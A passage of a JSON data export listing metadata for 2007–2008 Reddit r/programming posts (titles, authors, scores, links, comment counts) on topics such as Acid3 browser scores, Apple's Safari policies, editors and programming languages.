  "permalink": "https://www.reddit.com/r/programming/comments/6hinq/how_many_of_you_developers_prefer_not_to_use_a/",
  "title": "How many of you developers, prefer NOT to use a laptop?",
  "body": null,
  "author": "berlinbrown",
  "subreddit": "programming",
  "score": 7,
  "upvoteRatio": 0.52,
  "numComments": 121,
  "createdAt": "2008-04-29T13:40:18.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "text",
    "url": "https://www.reddit.com/r/programming/comments/6hinq/how_many_of_you_developers_prefer_not_to_use_a/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6h7jk",
  "url": "http://groups.google.com/group/comp.lang.c++",
  "permalink": "https://www.reddit.com/r/programming/comments/6h7jk/google_groups_collapsing_pages_of_spam_swamp_out/",
  "title": "Google Groups collapsing -  Pages of Spam swamp out user postings",
  "body": null,
  "author": "Maxwell_S_Mart",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 42,
  "createdAt": "2008-04-26T15:40:29.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://groups.google.com/group/comp.lang.c++",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6gqbx",
  "url": "http://blog.xcski.com/2008/04/18/i-loled",
  "permalink": "https://www.reddit.com/r/programming/comments/6gqbx/yup_theres_straight_gay_and_emacs/",
  "title": "\"Yup. There’s straight, gay, and emacs.\"",
  "body": null,
  "author": "gst",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 11,
  "createdAt": "2008-04-22T20:28:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://blog.xcski.com/2008/04/18/i-loled",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6gi92",
  "url": "http://xkcd.com/413/",
  "permalink": "https://www.reddit.com/r/programming/comments/6gi92/xkcd_new_pet/",
  "title": "xkcd: New Pet",
  "body": null,
  "author": "bobcat",
  "subreddit": "programming",
  "score": 76,
  "upvoteRatio": 0.58,
  "numComments": 70,
  "createdAt": "2008-04-21T08:03:08.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://xkcd.com/413/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6ggim",
  "url": "http://antirez.com/post/what-we-lost.html",
  "permalink": "https://www.reddit.com/r/programming/comments/6ggim/what_we_lost_now_that_web_programming_is/",
  "title": "What we lost (now that web programming is mainstream)",
  "body": null,
  "author": "antirez",
  "subreddit": "programming",
  "score": 22,
  "upvoteRatio": 0.54,
  "numComments": 58,
  "createdAt": "2008-04-20T19:14:39.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://antirez.com/post/what-we-lost.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6fgby",
  "url": "http://www.tomstechblog.com/post/2008/04/Google-App-Engine-Free-and-still-barely-worth-it.aspx",
  "permalink": "https://www.reddit.com/r/programming/comments/6fgby/google_app_engine_free_and_still_barely_worth_it/",
  "title": "Google App Engine: Free and still barely worth it",
  "body": null,
  "author": "gst",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 25,
  "createdAt": "2008-04-11T17:59:54.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.tomstechblog.com/post/2008/04/Google-App-Engine-Free-and-still-barely-worth-it.aspx",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6ff4c",
  "url": "http://www.cherryav.com/articles/technology/30-The-Googlenairs.html",
  "permalink": "https://www.reddit.com/r/programming/comments/6ff4c/have_you_ever_wondered_how_much_a_google_employee/",
  "title": "Have you ever wondered how much a Google employee makes? ",
  "body": null,
  "author": "gregwont",
  "subreddit": "programming",
  "score": 49,
  "upvoteRatio": 0.55,
  "numComments": 218,
  "createdAt": "2008-04-11T13:30:51.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.cherryav.com/articles/technology/30-The-Googlenairs.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6epyw",
  "url": "http://www.hacknmod.com/displayMOD.php?hack=1227",
  "permalink": "https://www.reddit.com/r/programming/comments/6epyw/usb_hacking_101_everything_you_need_to_know/",
  "title": "USB Hacking 101 - Everything you Need to Know",
  "body": null,
  "author": "joe426",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 10,
  "createdAt": "2008-04-05T20:22:06.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.hacknmod.com/displayMOD.php?hack=1227",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6ef4g",
  "url": "http://briancarper.net/2008/04/02/interviewing-for-programming-jobs/",
  "permalink": "https://www.reddit.com/r/programming/comments/6ef4g/interviewing_for_programming_jobs_one_of_my/",
  "title": " Interviewing for programming jobs - One of my favorite questions was always, \"What's your favorite text editor?\" ",
  "body": null,
  "author": "gst",
  "subreddit": "programming",
  "score": 8,
  "upvoteRatio": 0.53,
  "numComments": 73,
  "createdAt": "2008-04-03T07:47:31.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://briancarper.net/2008/04/02/interviewing-for-programming-jobs/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6e5qh",
  "url": "http://morepypy.blogspot.com/2008/04/trying-to-get-pypy-to-run-on-python-30.html",
  "permalink": "https://www.reddit.com/r/programming/comments/6e5qh/pypy_status_blog_trying_to_get_pypy_to_run_on/",
  "title": "PyPy Status Blog: Trying to get PyPy to run on Python 3.0",
  "body": null,
  "author": "pjdelport",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 4,
  "createdAt": "2008-04-01T11:53:02.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://morepypy.blogspot.com/2008/04/trying-to-get-pypy-to-run-on-python-30.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6e593",
  "url": "http://mail.google.com/mail/help/customtime/index.html",
  "permalink": "https://www.reddit.com/r/programming/comments/6e593/gmail_custom_time_new_gmail_feature/",
  "title": "Gmail Custom Time: New Gmail feature!",
  "body": null,
  "author": "CG10277",
  "subreddit": "programming",
  "score": 30,
  "upvoteRatio": 0.54,
  "numComments": 19,
  "createdAt": "2008-04-01T09:19:22.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://mail.google.com/mail/help/customtime/index.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6dy9c",
  "url": "http://my.opera.com/hallvors/blog/2008/03/30/worthless-certainly-not-sir",
  "permalink": "https://www.reddit.com/r/programming/comments/6dy9c/worthless_certainly_not_sir/",
  "title": "Worthless? Certainly not, sir",
  "body": null,
  "author": "Arve",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 8,
  "createdAt": "2008-03-30T20:47:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://my.opera.com/hallvors/blog/2008/03/30/worthless-certainly-not-sir",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6dwg3",
  "url": "http://www.michiknows.com/2007/03/26/charts-of-digg-slashdot-and-reddit-traffic/",
  "permalink": "https://www.reddit.com/r/programming/comments/6dwg3/charts_of_digg_slashdot_and_reddit_traffic/",
  "title": "Charts of Digg, Slashdot, and Reddit traffic",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 5,
  "upvoteRatio": 0.51,
  "numComments": 8,
  "createdAt": "2008-03-30T05:43:04.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.michiknows.com/2007/03/26/charts-of-digg-slashdot-and-reddit-traffic/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6dm3b",
  "url": "https://www.reddit.com/r/programming/comments/6dm3b/arghh_enough_with_the_acid_3_posts_i_dont_care/",
  "permalink": "https://www.reddit.com/r/programming/comments/6dm3b/arghh_enough_with_the_acid_3_posts_i_dont_care/",
  "title": "Arghh! Enough with the Acid 3 Posts. I don't care and it doesn't matter!!!",
  "body": null,
  "author": "AlienCoder",
  "subreddit": "programming",
  "score": 208,
  "upvoteRatio": 0.59,
  "numComments": 118,
  "createdAt": "2008-03-27T17:10:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "text",
    "url": "https://www.reddit.com/r/programming/comments/6dm3b/arghh_enough_with_the_acid_3_posts_i_dont_care/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6dlzl",
  "url": "http://www.theregister.co.uk/2008/03/26/apple_safari_eula_paradox/",
  "permalink": "https://www.reddit.com/r/programming/comments/6dlzl/apple_forbids_windows_users_from_installing/",
  "title": "Apple forbids Windows users from installing Safari for Windows",
  "body": null,
  "author": "ohxten",
  "subreddit": "programming",
  "score": 57,
  "upvoteRatio": 0.57,
  "numComments": 67,
  "createdAt": "2008-03-27T16:52:34.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.theregister.co.uk/2008/03/26/apple_safari_eula_paradox/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6dkxn",
  "url": "http://groups.google.com/group/comp.lang.lisp/msg/917737b7cc8510e3?dmode=source&output=gplain",
  "permalink": "https://www.reddit.com/r/programming/comments/6dkxn/c_is_a_language_strongly_optimized_for_liars_and/",
  "title": "\"C++ is a language strongly optimized for liars and people who go by guesswork and ignorance.\"",
  "body": null,
  "author": "asciilifeform",
  "subreddit": "programming",
  "score": 31,
  "upvoteRatio": 0.53,
  "numComments": 244,
  "createdAt": "2008-03-27T13:14:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://groups.google.com/group/comp.lang.lisp/msg/917737b7cc8510e3?dmode=source&output=gplain",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6dgtf",
  "url": "http://annevankesteren.nl/2008/03/acid3-opera-98",
  "permalink": "https://www.reddit.com/r/programming/comments/6dgtf/opera_reaches_98100_on_acid_3/",
  "title": "Opera reaches 98/100 on Acid 3!",
  "body": null,
  "author": "Arve",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 97,
  "createdAt": "2008-03-26T16:33:07.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://annevankesteren.nl/2008/03/acid3-opera-98",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6ddz3",
  "url": "http://webkit.org/blog/169/acid3-nodeiterator-fix-leaves-us-with-4-points-to-go/",
  "permalink": "https://www.reddit.com/r/programming/comments/6ddz3/webkit_now_at_96100_on_acid3_test/",
  "title": "WebKit now at 96/100 on Acid3 test",
  "body": null,
  "author": "breach_of_etiquette",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 20,
  "createdAt": "2008-03-26T02:05:37.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://webkit.org/blog/169/acid3-nodeiterator-fix-leaves-us-with-4-points-to-go/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6ddpc",
  "url": "http://www.dr5.org/?p=1764",
  "permalink": "https://www.reddit.com/r/programming/comments/6ddpc/thank_you_microsoft_for_prematurely_killing/",
  "title": "Thank You Microsoft for Prematurely Killing Windows XP",
  "body": null,
  "author": "Sivart",
  "subreddit": "programming",
  "score": 5,
  "upvoteRatio": 0.51,
  "numComments": 53,
  "createdAt": "2008-03-26T00:29:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.dr5.org/?p=1764",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6d4c2",
  "url": "http://paulgraham.com/hijack.html",
  "permalink": "https://www.reddit.com/r/programming/comments/6d4c2/you_werent_meant_to_have_a_hijacker/",
  "title": "You Weren't Meant To Have A Hijacker",
  "body": null,
  "author": "xach",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.47,
  "numComments": 29,
  "createdAt": "2008-03-24T00:20:33.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://paulgraham.com/hijack.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6d28l",
  "url": "http://shootout.alioth.debian.org/gp4sandbox/benchmark.php?test=threadring&lang=all",
  "permalink": "https://www.reddit.com/r/programming/comments/6d28l/in_which_erlang_haskell_and_oz_beat_the_crap_out/",
  "title": "In which Erlang, Haskell, and Oz beat the crap out of C/C++ in speed on a benchmark ",
  "body": null,
  "author": "ketralnis",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 43,
  "createdAt": "2008-03-23T06:51:42.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://shootout.alioth.debian.org/gp4sandbox/benchmark.php?test=threadring&lang=all",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6cy26",
  "url": "http://waffle.wootest.net/2008/03/20/where-by-interesting-i-mean-annoying/",
  "permalink": "https://www.reddit.com/r/programming/comments/6cy26/this_is_disgraceful_it_fails_the_user_in_favor_of/",
  "title": "\"This is disgraceful. It fails the user in favor of serving Apple. It is, in fact, malware-level tactics.\"",
  "body": null,
  "author": "Arve",
  "subreddit": "programming",
  "score": 70,
  "upvoteRatio": 0.57,
  "numComments": 177,
  "createdAt": "2008-03-21T20:10:11.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://waffle.wootest.net/2008/03/20/where-by-interesting-i-mean-annoying/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6cgx7",
  "url": "http://totaleclipseservices.com/blog/?p=28",
  "permalink": "https://www.reddit.com/r/programming/comments/6cgx7/django_vs_aspnet_mvc/",
  "title": "Django vs. ASP.NET MVC",
  "body": null,
  "author": "gst",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 45,
  "createdAt": "2008-03-18T07:37:01.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://totaleclipseservices.com/blog/?p=28",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6bo96",
  "url": "http://savingtheinternetwithhate.com/design.html",
  "permalink": "https://www.reddit.com/r/programming/comments/6bo96/utu_the_replacement_for_http/",
  "title": "Utu, the replacement for http",
  "body": null,
  "author": "ssnider",
  "subreddit": "programming",
  "score": 3,
  "upvoteRatio": 0.51,
  "numComments": 22,
  "createdAt": "2008-03-11T16:25:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://savingtheinternetwithhate.com/design.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6b6t9",
  "url": "http://blog.mozilla.com/rob-sayre/2008/03/06/apple-bans-firefox-spidermonkey-lisp-lua-ruby-python-rhino-java-opera-gcc/",
  "permalink": "https://www.reddit.com/r/programming/comments/6b6t9/apple_bans_firefox_spidermonkey_lisp_lua_ruby/",
  "title": "Apple Bans Firefox, SpiderMonkey, Lisp, Lua, Ruby, Python, Rhino, Java, Opera, .NET, GCC",
  "body": null,
  "author": "mozfan",
  "subreddit": "programming",
  "score": 84,
  "upvoteRatio": 0.58,
  "numComments": 215,
  "createdAt": "2008-03-07T05:00:00.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://blog.mozilla.com/rob-sayre/2008/03/06/apple-bans-firefox-spidermonkey-lisp-lua-ruby-python-rhino-java-opera-gcc/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6axy8",
  "url": "http://avc.blogs.com/a_vc/2008/03/incenting-the-u.html",
  "permalink": "https://www.reddit.com/r/programming/comments/6axy8/incenting_the_user_to_put_up_a_profile_picture/",
  "title": "Incenting The User To Put Up A Profile Picture",
  "body": null,
  "author": "malanalars",
  "subreddit": "programming",
  "score": 13,
  "upvoteRatio": 0.53,
  "numComments": 41,
  "createdAt": "2008-03-05T12:06:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://avc.blogs.com/a_vc/2008/03/incenting-the-u.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6axuy",
  "url": "http://c2.com/cgi/wiki?SoftwareMasterpiece",
  "permalink": "https://www.reddit.com/r/programming/comments/6axuy/the_most_robust_piece_of_software_ever_scroll/",
  "title": "The most robust piece of software ever?  [Scroll down to the bottom]",
  "body": null,
  "author": "shenglong",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 27,
  "createdAt": "2008-03-05T11:35:48.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://c2.com/cgi/wiki?SoftwareMasterpiece",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6aw5y",
  "url": "http://oak.cats.ohiou.edu/~ds272803/redditalien.PNG",
  "permalink": "https://www.reddit.com/r/programming/comments/6aw5y/not_at_all_scalable_reddit_alien_made_in_mspaint/",
  "title": "Not at all scalable reddit alien made in MSPaint",
  "body": null,
  "author": "oyok2112",
  "subreddit": "programming",
  "score": 290,
  "upvoteRatio": 0.61,
  "numComments": 75,
  "createdAt": "2008-03-05T01:32:22.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "image",
    "url": "http://oak.cats.ohiou.edu/~ds272803/redditalien.PNG",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6ainh",
  "url": "http://blog.markturansky.com/archives/49",
  "permalink": "https://www.reddit.com/r/programming/comments/6ainh/linux_is_killing_solaris/",
  "title": "Linux is killing Solaris",
  "body": null,
  "author": "gst",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 33,
  "createdAt": "2008-03-01T16:16:55.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://blog.markturansky.com/archives/49",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_68eob",
  "url": "http://www.severeshock.com/index.php?option=com_content&task=view&id=23&Itemid=29",
  "permalink": "https://www.reddit.com/r/programming/comments/68eob/the_reality_of_windows_firewall_pic/",
  "title": "The reality of Windows Firewall [pic]",
  "body": null,
  "author": "lennon860",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.47,
  "numComments": 7,
  "createdAt": "2008-02-11T20:55:12.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.severeshock.com/index.php?option=com_content&task=view&id=23&Itemid=29",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_66tgn",
  "url": "https://www.reddit.com/r/programming/comments/66tgn/vote_up_if_you_dont_want_to_visit_20_different/",
  "permalink": "https://www.reddit.com/r/programming/comments/66tgn/vote_up_if_you_dont_want_to_visit_20_different/",
  "title": "Vote up if you don't want to visit 20 different subreddits to find different language articles",
  "body": null,
  "author": "yellowking",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 101,
  "createdAt": "2008-01-28T04:20:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "text",
    "url": "https://www.reddit.com/r/programming/comments/66tgn/vote_up_if_you_dont_want_to_visit_20_different/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_66icc",
  "url": "http://feeds.feedburner.com/~r/raganwald/~3/222487185/its-fundamental-you-are-programmer-if.html",
  "permalink": "https://www.reddit.com/r/programming/comments/66icc/its_fundamental_you_are_a_programmer_if_you/",
  "title": "It's fundamental: You are a programmer if you...",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 12,
  "upvoteRatio": 0.52,
  "numComments": 34,
  "createdAt": "2008-01-24T20:48:36.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://feeds.feedburner.com/~r/raganwald/~3/222487185/its-fundamental-you-are-programmer-if.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_65tjk",
  "url": "http://www.databasecolumn.com/2008/01/mapreduce-a-major-step-back.html",
  "permalink": "https://www.reddit.com/r/programming/comments/65tjk/mapreduce_a_major_step_backwards/",
  "title": "MapReduce: A major step backwards",
  "body": null,
  "author": "ade",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 94,
  "createdAt": "2008-01-18T02:10:51.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.databasecolumn.com/2008/01/mapreduce-a-major-step-back.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_65lob",
  "url": "http://www.crunchgear.com/2008/01/15/macbook-airhead-why-apples-new-laptop-is-basically-useless/",
  "permalink": "https://www.reddit.com/r/programming/comments/65lob/why_apples_new_laptop_is_basically_useless/",
  "title": "Why Apple's new laptop is basically useless.",
  "body": null,
  "author": "mvbma",
  "subreddit": "programming",
  "score": 9,
  "upvoteRatio": 0.51,
  "numComments": 64,
  "createdAt": "2008-01-16T02:24:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.crunchgear.com/2008/01/15/macbook-airhead-why-apples-new-laptop-is-basically-useless/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_62vun",
  "url": "http://news.bbc.co.uk/2/hi/technology/7136069.stm",
  "permalink": "https://www.reddit.com/r/programming/comments/62vun/really_wtf_is_this_western_digital_will_now_be/",
  "title": "Really, W-T-F IS THIS!?!?!? Western Digital will now be telling consumers what they can or can't do with their discs!?!?",
  "body": null,
  "author": "eks",
  "subreddit": "programming",
  "score": 14,
  "upvoteRatio": 0.53,
  "numComments": 48,
  "createdAt": "2007-12-13T09:33:13.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://news.bbc.co.uk/2/hi/technology/7136069.stm",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_62kbq",
  "url": "http://programming.reddit.com/info/62kbq/comments/",
  "permalink": "https://www.reddit.com/r/programming/comments/62kbq/monads_are_a_fraud_and_why_i_am_not_afraid_to_say/",
  "title": "Monads are a fraud and why I am not afraid to say it.",
  "body": null,
  "author": "osipov",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 46,
  "createdAt": "2007-12-09T23:59:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://programming.reddit.com/info/62kbq/comments/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_62jot",
  "url": "http://programming.reddit.com/info/62jot/comments/",
  "permalink": "https://www.reddit.com/r/programming/comments/62jot/view_moreprevnext_should_have_a_space_after_as_in/",
  "title": "view more:prev|next, should have a space after \":\" as in \"view more: prev|next\"",
  "body": null,
  "author": "atlacatl",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 25,
  "createdAt": "2007-12-09T18:04:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://programming.reddit.com/info/62jot/comments/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_62art",
  "url": "http://steve.yegge.googlepages.com/",
  "permalink": "https://www.reddit.com/r/programming/comments/62art/google_disables_steve_yegges_site/",
  "title": "Google disables Steve Yegge's site",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 24,
  "upvoteRatio": 0.51,
  "numComments": 146,
  "createdAt": "2007-12-06T13:44:33.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://steve.yegge.googlepages.com/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_6267t",
  "url": "http://www.xkcd.com/353/",
  "permalink": "https://www.reddit.com/r/programming/comments/6267t/xkcd_python/",
  "title": "xkcd: Python",
  "body": null,
  "author": "elxx",
  "subreddit": "programming",
  "score": 125,
  "upvoteRatio": 0.53,
  "numComments": 94,
  "createdAt": "2007-12-05T05:12:42.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
